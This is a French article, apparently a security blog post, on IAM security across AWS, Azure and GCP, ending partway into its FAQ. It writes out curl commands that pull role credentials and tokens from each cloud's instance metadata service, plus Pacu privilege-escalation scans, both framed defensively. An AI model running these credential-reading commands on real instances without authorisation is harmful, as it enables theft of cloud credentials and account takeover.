Le service de métadonnées d'instance (Instance Metadata Service — IMDS) est le vecteur de vol de credentials cloud le plus exploité dans les compromissions réelles. Chaque instance de calcul dans les trois clouds (EC2 AWS, VM Azure, Compute Engine GCP) expose un service de métadonnées local accessible à l'adresse 169.254.169.254 (ou metadata.google.internal pour GCP). Ce service fournit à l'instance des informations sur elle-même, incluant les credentials temporaires de son rôle/managed identity/service account. Un attaquant ayant obtenu une exécution de code sur l'instance (via une SSRF, une injection de commandes, ou une RCE applicative) peut interroger le service de métadonnées pour obtenir des credentials valides.
# Exploitation IMDS dans les trois clouds
# --- AWS IMDSv1 (vulnérable à SSRF) ---
# Un simple GET sans headers particuliers retourne le token
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Réponse: NomDuRole
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/NomDuRole
# Réponse: {"AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "..."}
# --- AWS IMDSv2 (protection contre SSRF) ---
# Nécessite un token PUT obtenu avec un header spécial
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/NomDuRole
# IMDSv2 bloque la plupart des SSRF car les proxies HTTP ne transmettent pas
# le header PUT initial, et le hop limit (TTL=1) empêche les requêtes
# transitant par un proxy/load balancer
# --- Azure IMDS ---
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Le header "Metadata: true" est requis (protection basique contre SSRF)
# Réponse: {"access_token": "eyJ...", "expires_in": "86400", "token_type": "Bearer"}
# --- GCP Metadata Server ---
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Le header "Metadata-Flavor: Google" est requis
# Réponse: {"access_token": "ya29...", "expires_in": 3600, "token_type": "Bearer"}
# --- Protections par cloud ---
# AWS: Forcer IMDSv2 sur toutes les instances (SCP ou instance metadata options)
# aws ec2 modify-instance-metadata-options \
# --instance-id i-12345 \
# --http-tokens required \
# --http-endpoint enabled \
# --http-put-response-hop-limit 1
# Azure: Pas d'équivalent à IMDSv2 — la protection repose sur
# le header Metadata:true et les Network Security Groups
# GCP: Le header Metadata-Flavor:Google est la seule protection
# GCP offre aussi un "concealed metadata" endpoint pour les workloads sensibles
La migration vers IMDSv2 sur AWS est la mesure préventive la plus impactante pour réduire le risque de vol de credentials via SSRF. IMDSv2 exige une requête PUT initiale pour obtenir un token de session (avec un TTL de 1 hop, bloquant les requêtes transitant par un proxy), puis l'utilisation de ce token dans les requêtes GET subséquentes. La majorité des attaques SSRF qui exploitent IMDSv1 sont bloquées par IMDSv2 car l'attaquant ne peut pas effectuer la requête PUT via une SSRF GET classique. Le SCP présenté dans la section AWS IAM ci-dessus force IMDSv2 sur toutes les nouvelles instances ; la migration des instances existantes doit être planifiée avec une période de test pour vérifier la compatibilité des applications qui utilisent l'IMDS (les SDK AWS récents supportent nativement IMDSv2).
Validation et tests
Pour Azure et GCP, l'absence d'un mécanisme équivalent à IMDSv2 signifie que la protection contre le vol de credentials via SSRF repose principalement sur la prévention des SSRF au niveau applicatif (validation des URLs, blocage des adresses IP internes dans les requêtes sortantes, utilisation de listes blanches pour les destinations autorisées) et sur la limitation des permissions des Managed Identities et Service Accounts au strict minimum nécessaire — réduisant l'impact même si les credentials sont volées.
Les conteneurs et les environnements serverless présentent des variantes spécifiques. Dans ECS/Fargate, les credentials sont disponibles via l'endpoint http://169.254.170.2/v2/credentials/{relative_uri} avec un chemin relatif unique par tâche. Dans GKE avec Workload Identity, les credentials sont obtenues via le serveur de métadonnées GKE qui proxifie les requêtes vers le service de métadonnées GCP avec l'identité du Service Account mappé. Dans Lambda, les credentials sont dans les variables d'environnement (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) plutôt que via l'IMDS, mais sont néanmoins accessibles à tout code s'exécutant dans la fonction. La compréhension de ces variantes est indispensable pour l'évaluation des risques et la conception de défenses adaptées à chaque type de compute.
Outils d'audit IAM multi-cloud
L'audit des configurations IAM nécessite des outils spécialisés qui analysent les permissions effectives, identifient les sur-privilèges et détectent les vecteurs d'escalade. Plusieurs outils open source couvrent un ou plusieurs fournisseurs cloud.
# ScoutSuite — Audit multi-cloud (AWS, Azure, GCP, Oracle Cloud)
pip install scoutsuite
# Audit AWS
scout aws --profile production-account
# Audit Azure
scout azure --cli
# Audit GCP
scout gcp --user-account --project-id project-id
# Résultats: rapport HTML avec scoring par catégorie
# - IAM: permissions excessives, access keys anciennes, MFA non activé
# - Storage: buckets publics, encryption manquante
# - Compute: security groups ouverts, metadata service v1
# - etc.
# --- Prowler — Audit AWS aligné CIS/NIST ---
pip install prowler
# Audit complet AWS
prowler aws
# Audit spécifique IAM
prowler aws --category iam
# Checks IAM Prowler:
# - Users avec access keys > 90 jours
# - Users sans MFA
# - Policies avec wildcard (*)
# - Root account usage
# - Cross-account trust non autorisé
# - Permission boundaries manquantes
# Prowler pour Azure
prowler azure
# Prowler pour GCP
prowler gcp
# --- Cloudsplaining — Analyse des politiques IAM AWS ---
pip install cloudsplaining
# Télécharger les données IAM
cloudsplaining download --profile production
# Analyser les politiques
cloudsplaining scan --input-file iam-data.json --output results/
# Résultats:
# - Politiques permettant l'escalade de privilèges
# - Politiques avec des wildcards
# - Politiques permettant le Data Exfiltration
# - Politiques permettant la modification d'infrastructure
# --- PACU — Framework d'exploitation AWS ---
# (Usage en audit de sécurité autorisé uniquement)
pip install pacu
# Lancement
pacu
# Modules d'escalade de privilèges
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run iam__privesc_scan
# Identifie automatiquement les 21+ vecteurs d'escalade de privilèges
# --- az-enumeration — Énumération Azure ---
# https://github.com/m8sec/CrossLinked (Azure AD enumeration)
# Utilisation de Microsoft Graph API pour l'énumération
# --- PMapper — Graphe de permissions AWS ---
pip install principalmapper
# Construire le graphe de permissions
pmapper graph --create
# Analyser les chemins d'escalade vers admin
pmapper analysis --output-type text
# Visualiser le graphe
pmapper visualize --filetype png
ScoutSuite est l'outil d'audit multi-cloud le plus polyvalent, couvrant AWS, Azure, GCP et Oracle Cloud avec un rapport HTML détaillé et un scoring par catégorie. Son principal avantage est la couverture transversale — un seul outil pour auditer les trois clouds — mais sa profondeur d'analyse IAM est inférieure à celle d'outils spécialisés.
Sécurité cloud
Prowler est devenu l'outil de référence pour l'audit de conformité, couvrant AWS, Azure et GCP avec des checks alignés sur CIS Benchmarks, NIST 800-53, PCI DSS, HIPAA et SOC 2. En 2026, Prowler v4 offre plus de 300 checks pour AWS, 100+ pour Azure et 80+ pour GCP, avec une attention particulière aux configurations IAM. Son intégration dans les pipelines CI/CD permet l'audit automatisé à chaque changement d'infrastructure.
PMapper (Principal Mapper) se distingue par sa capacité à construire un graphe des permissions IAM AWS et à identifier les chemins d'escalade de privilèges. Plutôt que de vérifier des règles statiques, PMapper analyse les relations entre les identités et les permissions pour détecter des chaînes d'escalade complexes : par exemple, l'utilisateur A peut assumer le rôle B, qui peut passer le rôle C à une Lambda, qui a les permissions admin. Cette approche par graphe détecte des risques invisibles aux audits basés sur des règles. Pour les architectures multi-cloud complexes, consultez notre article sur la sécurisation des architectures multi-cloud.
Automatisation du moindre privilège
L'application du moindre privilège à grande échelle nécessite des mécanismes d'automatisation qui analysent l'utilisation réelle des permissions et recommandent ou appliquent des réductions de permissions. Chaque fournisseur cloud propose des outils natifs pour ce processus.
# AWS IAM Access Analyzer — Politique basée sur l'utilisation
# Générer une politique IAM basée sur l'activité CloudTrail des 90 derniers jours
aws accessanalyzer generate-policy \
--policy-generation-details '{
"principalArn": "arn:aws:iam::123456789012:role/AppRole",
"cloudTrailDetails": [
{
"trailArn": "arn:aws:cloudtrail:eu-west-1:123456789012:trail/org-trail",
"regions": ["eu-west-1", "eu-west-3"],
"startTime": "2026-02-01T00:00:00Z",
"endTime": "2026-05-01T00:00:00Z"
}
]
}'
# Résultat: politique IAM minimale correspondant à l'utilisation réelle
# --- GCP IAM Recommender ---
# Lister les recommandations de réduction de permissions
gcloud recommender recommendations list \
--project=project-id \
--recommender=google.iam.policy.Recommender \
--location=global
# Exemple de recommandation:
# "Le Service Account app-backend@project-id.iam.gserviceaccount.com
# a le rôle roles/editor mais n'utilise que 12 permissions sur 3500+.
# Recommandation: remplacer par un rôle personnalisé avec ces 12 permissions."
# Appliquer une recommandation
gcloud recommender recommendations mark-claimed \
--project=project-id \
--recommender=google.iam.policy.Recommender \
--location=global \
--recommendation=RECOMMENDATION_ID
# --- Azure Entra ID Access Reviews ---
# Les Access Reviews vérifient périodiquement si les attributions de rôles
# sont toujours nécessaires. Les reviewers confirment ou retirent les accès.
# Création via Microsoft Graph API
$review = @{
displayName = "Production Owner Review - Q2 2026"
descriptionForAdmins = "Revue trimestrielle des attributions Owner en production"
scope = @{
query = "/roleAssignmentScheduleInstances?filter=roleDefinitionId eq '8e3af657-a8ff-443c-a75c-2fe8c4bcb635'"
queryType = "MicrosoftGraph"
}
reviewers = @(
@{ query = "/users/security-manager-id"; queryType = "MicrosoftGraph" }
)
settings = @{
mailNotificationsEnabled = $true
reminderNotificationsEnabled = $true
defaultDecision = "Deny" # Par défaut, retirer l'accès si pas de réponse
autoApplyDecisionsEnabled = $true
recommendationsEnabled = $true
recurrence = @{
pattern = @{ type = "absoluteMonthly"; interval = 3 }
range = @{ type = "noEnd" }
}
}
}
# Script d'automatisation du moindre privilège multi-cloud (Python)
class LeastPrivilegeAutomation:
def __init__(self):
self.aws_client = boto3.client('accessanalyzer')
self.gcp_recommender = google.cloud.recommender_v1.RecommenderClient()
def audit_aws_unused_permissions(self, role_arn, days=90):
"""
Identifie les permissions accordées mais non utilisées
en analysant CloudTrail sur les N derniers jours.
"""
# Générer la politique basée sur l'utilisation
job = self.aws_client.start_policy_generation(
policyGenerationDetails={
'principalArn': role_arn
}
)
# Attendre la complétion
while True:
status = self.aws_client.get_generated_policy(jobId=job['jobId'])
if status['jobDetails']['status'] == 'SUCCEEDED':
break
time.sleep(10)
# Comparer avec la politique actuelle
generated = status['generatedPolicyResult']['generatedPolicies']
current = self.get_current_policies(role_arn)
unused = self.diff_policies(current, generated)
return {
'role': role_arn,
'current_permissions': len(self.flatten_actions(current)),
'used_permissions': len(self.flatten_actions(generated)),
'unused_permissions': unused,
'reduction_percentage': len(unused) / len(self.flatten_actions(current)) * 100
}
def audit_gcp_recommendations(self, project_id):
"""
Récupère les recommandations IAM Recommender pour un projet GCP.
"""
parent = f"projects/{project_id}/locations/global/recommenders/google.iam.policy.Recommender"
recommendations = self.gcp_recommender.list_recommendations(parent=parent)
results = []
for rec in recommendations:
results.append({
'target': rec.content.operation_groups[0].operations[0].resource,
'current_role': rec.content.operation_groups[0].operations[0].value,
'recommended_role': rec.content.operation_groups[0].operations[1].value
if len(rec.content.operation_groups[0].operations) > 1 else 'REMOVE',
'impact': rec.primary_impact.category,
'priority': rec.priority
})
return results
Automatisation essentielle : L'application manuelle du moindre privilège est impraticable à grande échelle. Utilisez AWS IAM Access Analyzer pour générer des politiques basées sur l'utilisation CloudTrail réelle, GCP IAM Recommender pour identifier les rôles surdimensionnés, et Azure Entra ID Access Reviews pour la revue périodique automatisée des attributions. La combinaison de ces outils natifs avec des audits Prowler/ScoutSuite trimestriels et PMapper pour l'analyse des graphes d'escalade constitue le minimum opérationnel pour un environnement multi-cloud sécurisé.
Sécurité cloud
Patterns de sécurité cross-cloud
Les environnements multi-cloud présentent des défis de sécurité spécifiques liés à l'hétérogénéité des modèles IAM. Les patterns suivants constituent les fondamentaux applicables quel que soit le cloud ou la combinaison de clouds utilisés.
Pattern 1 : Identité centralisée. Utiliser un fournisseur d'identité unique (Entra ID, Okta, Google Workspace) comme source de vérité pour les identités humaines, fédéré vers chaque cloud. Ce pattern évite la prolifération de comptes locaux (IAM Users AWS, utilisateurs locaux GCP) et centralise la gestion du cycle de vie des identités (onboarding, offboarding, changement de rôle). La fédération SAML 2.0 ou OIDC est supportée par les trois clouds. AWS IAM Identity Center (anciennement SSO), Azure Entra ID et GCP Cloud Identity offrent des intégrations natives.
Pattern 2 : Pas de credentials long-terme. Éliminer les access keys AWS, les clés de service account GCP et les client secrets Azure au profit de credentials temporaires dans tous les contextes possibles. Les IAM Roles AWS avec STS, les Managed Identities Azure et la Workload Identity Federation GCP fournissent des credentials temporaires sans gestion de secrets. Pour les cas où des credentials long-terme sont inévitables (applications legacy, intégrations tierces), imposer une rotation automatique maximale de 90 jours et un monitoring renforcé de leur utilisation. La détection des credentials long-terme exposées dans le code source (via des outils comme git-secrets, TruffleHog, Gitleaks) et dans les logs (via des règles de détection de patterns de clés dans CloudWatch, Log Analytics, ou Cloud Logging) complète la stratégie de protection des credentials.
L'implémentation pratique de l'élimination des credentials long-terme suit un processus en quatre étapes. Premièrement, inventorier toutes les credentials long-terme existantes : aws iam generate-credential-report, analyse des Service Account Keys GCP via gcloud iam service-accounts keys list, audit des App Registrations Azure avec des secrets actifs. Deuxièmement, identifier pour chaque credential l'alternative temporaire disponible (IAM Role, Managed Identity, Workload Identity Federation). Troisièmement, implémenter l'alternative et valider le fonctionnement. Quatrièmement, désactiver l'ancienne credential (pas la supprimer immédiatement — conserver 7 jours en état inactif pour rollback si nécessaire). Ce processus, répété systématiquement, peut réduire le nombre de credentials long-terme de 90% dans la plupart des organisations en 3-6 mois d'effort soutenu.
Pattern 3 : Gouvernance organisationnelle. Implémenter des guardrails au niveau de l'organisation qui empêchent les configurations dangereuses indépendamment des permissions individuelles. AWS SCPs, Azure Policies et GCP Organization Policies constituent les mécanismes natifs pour cette gouvernance. Les guardrails minimaux incluent : restriction des régions autorisées (souveraineté des données), obligation du chiffrement au repos et en transit, interdiction des ressources publiques non approuvées (buckets S3 publics, storage accounts Azure publics), et obligation de la journalisation (CloudTrail, Activity Log, Audit Logs).
Sécurité cloud
Pattern 4 : Segmentation par compte/projet/souscription. Utiliser la structure multi-compte (AWS), multi-souscription (Azure) ou multi-projet (GCP) pour segmenter les charges de travail par niveau de sensibilité, par environnement (dev/staging/prod) et par domaine métier. Cette segmentation crée des blast radius naturels : la compromission d'un compte de développement n'affecte pas les comptes de production. Les accès cross-compte sont explicitement configurés et audités.
Pattern 5 : Monitoring unifié. Centraliser les logs d'audit IAM des trois clouds dans un SIEM unique (Microsoft Sentinel, Splunk, Elastic) pour la corrélation cross-cloud. Un attaquant compromettant une identité dans un cloud peut utiliser cette position pour pivoter vers un autre cloud via des intégrations ou des credentials partagées. La détection de ce pivot nécessite une visibilité cross-cloud que les outils natifs de chaque cloud ne fournissent pas individuellement. Pour les stratégies de détection dans les SIEM, notre article sur les use cases SIEM essentiels détaille les règles de corrélation multi-cloud.
CSPM et Cloud Security Posture : évaluation continue
Le Cloud Security Posture Management (CSPM) est la discipline d'évaluation continue de la configuration de sécurité des ressources cloud, incluant les configurations IAM. Les solutions CSPM combinent la détection de misconfiguration (contrôles réactifs) avec la prévention par politique (contrôles préventifs) pour maintenir une posture IAM conforme en permanence. Les offres natives de chaque cloud et les solutions tierces offrent des capacités complémentaires.
AWS Security Hub agrège les résultats de multiples services de sécurité (IAM Access Analyzer, GuardDuty, Config Rules, Inspector) et les évalue contre des standards de conformité (CIS AWS Benchmark, NIST 800-53, PCI DSS). Les contrôles IAM vérifiés incluent la rotation des access keys, l'activation du MFA sur le root account, l'absence de politiques trop permissives, et la conformité des trust policies. AWS Config Rules permet de définir des règles personnalisées qui détectent et remédient automatiquement les configurations IAM non conformes — par exemple, désactiver automatiquement une access key non utilisée depuis plus de 90 jours.
Microsoft Defender for Cloud (anciennement Azure Security Center) évalue la posture de sécurité Azure incluant les configurations RBAC, Entra ID et les politiques de Conditional Access. Le Secure Score fournit un indicateur numérique de la posture globale avec des recommandations priorisées. Les recommandations IAM typiques incluent l'activation de PIM pour les rôles privilégiés, la suppression des attributions Owner excessives, la restriction des API permissions sur les app registrations, et la configuration de l'accès conditionnel pour les administrateurs.
Google Cloud Security Command Center (SCC) centralise la détection de vulnérabilités et de misconfiguration pour GCP. Les détecteurs IAM identifient les Service Accounts avec des clés exportées, les rôles primitifs (Editor/Owner) attribués inutilement, les permissions excessives détectées par le Recommender, et les Service Accounts inutilisés. SCC Premium inclut des capacités de détection de menaces (Event Threat Detection) qui alertent sur les activités IAM suspectes en temps réel.
# Configuration de règles CSPM personnalisées
# AWS Config Rule — détecter les politiques IAM avec wildcard
resource "aws_config_config_rule" "iam_no_wildcard" {
name = "iam-policy-no-wildcard-actions"
description = "Vérifie qu'aucune politique IAM n'utilise Action: '*'"
source {
owner = "CUSTOM_LAMBDA"
source_identifier = aws_lambda_function.iam_wildcard_checker.arn
source_detail {
message_type = "ConfigurationItemChangeNotification"
}
}
scope {
compliance_resource_types = ["AWS::IAM::Policy"]
}
}
# Azure Policy — interdire les attributions Owner au niveau souscription
resource "azurerm_policy_definition" "block_subscription_owner" {
name = "block-subscription-owner-assignment"
policy_type = "Custom"
mode = "All"
display_name = "Interdire les attributions Owner au niveau souscription"
policy_rule = jsonencode({
if = {
allOf = [
{
field = "type"
equals = "Microsoft.Authorization/roleAssignments"
},
{
field = "Microsoft.Authorization/roleAssignments/roleDefinitionId"
contains = "8e3af657-a8ff-443c-a75c-2fe8c4bcb635" # Owner role ID
},
{
field = "Microsoft.Authorization/roleAssignments/scope"
notLike = "*/resourceGroups/*" # Seulement au niveau souscription
}
]
}
then = {
effect = "deny"
}
})
}
# GCP Organization Policy — interdire les clés de service account
resource "google_organization_policy" "disable_sa_key_creation" {
org_id = var.org_id
constraint = "iam.disableServiceAccountKeyCreation"
boolean_policy {
enforced = true
}
}
# Script de vérification cross-cloud (Python)
class MultiCloudPostureChecker:
def __init__(self):
self.findings = []
def check_aws_iam_posture(self):
"""Vérifie les points critiques IAM AWS."""
iam = boto3.client('iam')
# Vérifier le root account MFA
summary = iam.get_account_summary()['SummaryMap']
if summary['AccountMFAEnabled'] != 1:
self.findings.append({
'cloud': 'AWS',
'severity': 'CRITICAL',
'check': 'Root account MFA not enabled',
'remediation': 'Enable MFA on the root account immediately'
})
# Vérifier les access keys anciennes
users = iam.list_users()['Users']
for user in users:
keys = iam.list_access_keys(UserName=user['UserName'])
for key in keys['AccessKeyMetadata']:
age_days = (datetime.now(timezone.utc) - key['CreateDate']).days
if age_days > 90 and key['Status'] == 'Active':
self.findings.append({
'cloud': 'AWS',
'severity': 'HIGH',
'check': f"Access key for {user['UserName']} is {age_days} days old",
'remediation': 'Rotate or deactivate the access key'
})
# Vérifier les politiques avec wildcard
policies = iam.list_policies(Scope='Local')['Policies']
for policy in policies:
version = iam.get_policy_version(
PolicyArn=policy['Arn'],
VersionId=policy['DefaultVersionId']
)
doc = version['PolicyVersion']['Document']
if self._has_wildcard_action(doc):
self.findings.append({
'cloud': 'AWS',
'severity': 'HIGH',
'check': f"Policy {policy['PolicyName']} has wildcard actions",
'remediation': 'Replace * with specific actions'
})
def _has_wildcard_action(self, policy_doc):
statements = policy_doc.get('Statement', [])
for stmt in statements:
actions = stmt.get('Action', [])
if isinstance(actions, str):
actions = [actions]
if '*' in actions and stmt.get('Effect') == 'Allow':
return True
return False
Pour les organisations gérant des dizaines ou centaines de comptes/projets/souscriptions, la scalabilité des outils CSPM est un critère de sélection déterminant. Les solutions SaaS comme Wiz, Orca Security, Lacework et Prisma Cloud offrent une visibilité cross-cloud avec une corrélation automatique des risques IAM — par exemple, identifier qu'un rôle IAM avec des permissions admin est associé à une instance EC2 exposée publiquement sur Internet avec une vulnérabilité connue exploitable. Cette corrélation contextuelle entre les vulnérabilités IAM, réseau et applicatives est impossible avec les outils natifs de chaque cloud qui fonctionnent en silos. Le coût de ces solutions (typiquement 2-5% du budget cloud) doit être évalué contre le coût d'une compromission qui pourrait atteindre des millions d'euros en pertes directes, amendes réglementaires et dommages réputationnels.
Sécurité cloud
L'intégration des résultats CSPM dans les processus opérationnels est aussi importante que la détection elle-même. Les findings IAM critiques (root account sans MFA, politiques administratives non sécurisées, credentials exposées) doivent déclencher des alertes immédiates avec SLA de résolution en heures. Les findings de sévérité moyenne (access keys anciennes, permissions excessives détectées par le recommender) sont traitées dans les sprints de sécurité avec SLA de résolution en jours. Les findings informationnelles (recommandations d'optimisation, meilleures pratiques non appliquées) alimentent le backlog d'amélioration continue.
Gestion des identités machine et Workload Identity
Les identités machine (service accounts, managed identities, IAM roles) représentent la majorité des identités dans les environnements cloud modernes et constituent souvent le maillon faible de la chaîne de sécurité. Leur gestion nécessite des pratiques spécifiques qui diffèrent significativement de la gestion des identités humaines.
Le ratio entre identités machine et identités humaines dans les environnements cloud modernes dépasse typiquement 10:1, et peut atteindre 50:1 dans les architectures microservices conteneurisées. Chaque Lambda function, chaque container ECS, chaque pod Kubernetes, chaque pipeline CI/CD, chaque intégration SaaS nécessite sa propre identité avec des credentials associées. Cette prolifération d'identités machine crée une surface d'attaque massive qui échappe souvent à la gouvernance appliquée aux identités humaines — pas de MFA, pas de formation à la sécurité, pas de revue d'accès périodique.
Les risques spécifiques aux identités machine incluent la longévité des credentials (contrairement aux sessions utilisateur qui expirent après déconnexion, les credentials machine restent valides indéfiniment si elles ne sont pas rotées), l'absence de monitoring comportemental (les solutions UEBA détectent les anomalies d'utilisation pour les humains mais sont moins efficaces pour les patterns machine), la dette technique d'identités orphelines (service accounts créées pour des projets abandonnés mais jamais supprimées, conservant leurs permissions originales), et la complexité des chaînes de délégation (un service qui assume un rôle, qui crée une instance, qui assume un autre rôle — rendant l'attribution de responsabilité difficile).
La gouvernance des identités machine repose sur quatre piliers. Le cycle de vie automatisé lie la création et la suppression des identités machine au cycle de vie de l'infrastructure qui les utilise — l'identité est créée par Terraform avec la ressource et supprimée avec elle. L'inventaire exhaustif maintient un registre de toutes les identités machine, leur propriétaire (équipe), leur finalité, et leur dernière utilisation — les identités inutilisées depuis 90 jours sont candidates à la suppression. Le moindre privilège dynamique ajuste les permissions en fonction de l'utilisation réelle via les recommandations automatisées (IAM Access Analyzer, IAM Recommender). Le monitoring de sécurité détecte les utilisations anormales (connexion depuis une IP inhabituelle, appels API jamais effectués auparavant, volume anormal de requêtes).
# Matrice de correspondance des identités machine cross-cloud
# AWS: IAM Role avec Instance Profile (pour EC2)
aws iam create-role --role-name app-backend-role \
--assume-role-policy-document '{
"Statement": [{
"Effect": "Allow",
"Principal": {"Service": "ec2.amazonaws.com"},
"Action": "sts:AssumeRole"
}]
}'
aws iam create-instance-profile --instance-profile-name app-backend-profile
aws iam add-role-to-instance-profile \
--instance-profile-name app-backend-profile \
--role-name app-backend-role
# Azure: Managed Identity (System-Assigned)
az vm identity assign --name app-backend-vm --resource-group rg-prod
# Le token est automatiquement disponible via IMDS
# curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"
# Azure: Managed Identity (User-Assigned — réutilisable)
az identity create --name app-backend-identity --resource-group rg-prod
az vm identity assign --name app-backend-vm --resource-group rg-prod \
--identities /subscriptions/sub-id/resourceGroups/rg-prod/providers/Microsoft.ManagedIdentity/userAssignedIdentities/app-backend-identity
# GCP: Service Account avec Workload Identity (GKE)
gcloud iam service-accounts create app-backend-sa
gcloud projects add-iam-policy-binding project-id \
--member="serviceAccount:app-backend-sa@project-id.iam.gserviceaccount.com" \
--role="roles/storage.objectViewer"
# Binding Kubernetes SA → GCP SA
gcloud iam service-accounts add-iam-policy-binding \
app-backend-sa@project-id.iam.gserviceaccount.com \
--role="roles/iam.workloadIdentityUser" \
--member="serviceAccount:project-id.svc.id.goog[namespace/k8s-sa-name]"
L'inventaire et la classification des identités machine est un prérequis à toute politique de moindre privilège. Chaque Service Account, Managed Identity ou IAM Role doit être documenté avec sa finalité, son propriétaire (équipe responsable), ses permissions attendues, et sa date de dernière utilisation. Les identités inutilisées depuis plus de 90 jours doivent être désactivées puis supprimées après une période de grâce. AWS IAM Access Advisor, Azure Entra ID Sign-in Logs et GCP Policy Analyzer fournissent les données d'utilisation nécessaires à cette analyse. Notre article sur le DSPM (Data Security Posture Management) approfondit la gouvernance des accès aux données dans les environnements multi-cloud.
Sécurité cloud
Conformité et frameworks réglementaires
Les configurations IAM cloud sont directement impactées par les exigences réglementaires applicables à l'organisation. Le RGPD, NIS2, DORA, PCI DSS et ISO 27001 imposent des contrôles d'accès spécifiques qui doivent être traduits en configurations IAM concrètes dans chaque cloud.
| Exigence réglementaire | Implémentation AWS | Implémentation Azure | Implémentation GCP |
|---|---|---|---|
| MFA pour les comptes privilégiés | MFA sur IAM Users + condition policy | Conditional Access + PIM | 2FA sur Google accounts + BeyondCorp |
| Moindre privilège | IAM Access Analyzer + Permission Boundaries | PIM (JIT) + Access Reviews | IAM Recommender + custom roles |
| Séparation des responsabilités | Multi-compte + SCPs | Multi-souscription + Azure Policies | Multi-projet + Organization Policies |
| Traçabilité des accès | CloudTrail + S3 immutable | Activity Log + Log Analytics | Cloud Audit Logs + BigQuery |
| Revue périodique des accès | IAM Credential Report + custom scripts | Entra ID Access Reviews (automatisé) | Policy Analyzer + recommender |
| Rotation des credentials | Access Key rotation (90j max) | Certificate rotation + Key Vault | SA key rotation (script ou désactivation) |
| Restriction géographique | SCP deny régions + conditions IP | Conditional Access Named Locations | Organization Policy restrict locations |
| Gestion des incidents IAM | GuardDuty + EventBridge → Lambda | Sentinel + Logic Apps | SCC + Cloud Functions |
La conformité NIS2, applicable depuis octobre 2024 pour les entités essentielles et importantes dans l'Union européenne, impose des exigences renforcées en matière de gestion des accès aux systèmes critiques. L'article 21 de NIS2 exige des « politiques relatives à l'analyse des risques et à la sécurité des systèmes d'information », incluant explicitement la gestion des accès et le contrôle des identités. La traduction en configurations IAM cloud implique l'authentification forte (MFA) pour tous les accès aux systèmes d'information critique, la traçabilité complète des accès avec une rétention minimale de 18 mois, la revue périodique des permissions (au minimum semestrielle), et la capacité de révoquer immédiatement les accès en cas d'incident. Pour les implications spécifiques de NIS2 et DORA sur les organisations en France, notre article sur l'impact de DORA sur la finance complète cette analyse.
FAQ
Quel est le modèle IAM le plus sécurisé par défaut parmi AWS, Azure et GCP ?
Aucun des trois modèles n'est intrinsèquement plus sécurisé que les autres — la sécurité dépend de la configuration, pas du modèle. Cependant, chaque cloud présente des risques par défaut différents. AWS est « deny by default » au niveau IAM mais les politiques trop permissives (wildcards) sont la norme dans les exemples de documentation et les démarrages rapides. Azure est secure by default pour les nouvelles souscriptions (pas de rôles Owner par défaut pour les utilisateurs) mais l'héritage hiérarchique peut propager silencieusement des permissions du Management Group aux ressources individuelles. GCP est le plus restrictif par défaut (pas de rôles primitifs attribués automatiquement dans les nouveaux projets) mais les Service Accounts par défaut des services (Compute Engine, App Engine) ont historiquement des permissions Editor — un sur-privilège documenté que Google recommande de corriger immédiatement.
Comment gérer les credentials temporaires dans un environnement multi-cloud avec des pipelines CI/CD ?
La solution optimale utilise la Workload Identity Federation dans chaque cloud pour éliminer les credentials long-terme. Pour GitHub Actions : utilisez les OIDC providers natifs d'AWS (aws-actions/configure-aws-credentials avec role-to-assume), Azure (azure/login avec federated credentials), et GCP (google-github-actions/auth avec workload_identity_provider). Pour GitLab CI : utilisez le CI_JOB_JWT_V2 avec les OIDC providers de chaque cloud. Pour Jenkins : utilisez les plugins cloud-specific avec des IAM Roles (AWS), Managed Identities (Azure) ou Workload Identity (GCP) sur les agents Jenkins. Le point critique est de ne JAMAIS stocker d'access keys, de client secrets ou de clés de service account dans les variables d'environnement CI/CD — même chiffrées. La Workload Identity Federation élimine cette nécessité en utilisant le token natif de la plateforme CI/CD pour obtenir des credentials temporaires sans aucun secret partagé.
Comment détecter une escalade de privilèges IAM en temps réel dans un environnement multi-cloud ?
La détection en temps réel nécessite l'agrégation des logs d'audit de chaque cloud dans un SIEM centralisé et la mise en place de règles de corrélation spécifiques. Les événements à surveiller en priorité sont : la création ou modification de politiques IAM avec des wildcards (AWS CloudTrail CreatePolicyVersion, PutUserPolicy), l'attribution de rôles Owner/admin (Azure Activity Log Microsoft.Authorization/roleAssignments/write), la création de clés de service account (GCP Audit Log google.iam.admin.v1.CreateServiceAccountKey), l'assumption de rôles cross-account non autorisés, et la modification de trust policies ou IAM policies de projet. Les délais de propagation des logs varient : CloudTrail peut prendre jusqu'à 15 minutes, Azure Activity Log 5-10 minutes, et GCP Audit Logs quelques minutes. Pour une détection sub-minute, les EventBridge rules (AWS), les Event Grid (Azure) et les Pub/Sub triggers (GCP) permettent un traitement en quasi temps réel.
Les Permission Boundaries AWS ont-elles un équivalent dans Azure et GCP ?
Il n'existe pas d'équivalent exact des Permission Boundaries AWS dans Azure et GCP. Les Permission Boundaries AWS définissent un plafond de permissions pour une identité — l'intersection entre la boundary et les politiques IAM détermine les permissions effectives. Dans Azure, l'effet le plus proche est obtenu en combinant des Azure Policies (qui peuvent interdire certaines actions au niveau de la souscription ou du resource group) avec des rôles custom restrictifs. Cependant, Azure Policies agissent au niveau des ressources (empêcher la création de certaines ressources) et non au niveau des identités (limiter les permissions d'une identité spécifique). Dans GCP, les Organization Policies fournissent des guardrails similaires aux SCPs AWS mais pas aux Permission Boundaries. Les deny policies GCP (GA depuis 2024) se rapprochent davantage en permettant d'interdire explicitement certaines actions pour certains principals, mais leur syntaxe et leur modèle d'évaluation diffèrent. La lacune Azure et GCP en matière de boundaries souligne l'importance des rôles custom granulaires et de la segmentation par compte/projet comme alternatives pour limiter le blast radius.
Analyse complémentaire
Comment appliquer le moindre privilège lorsque les permissions nécessaires ne sont pas connues à l'avance ?
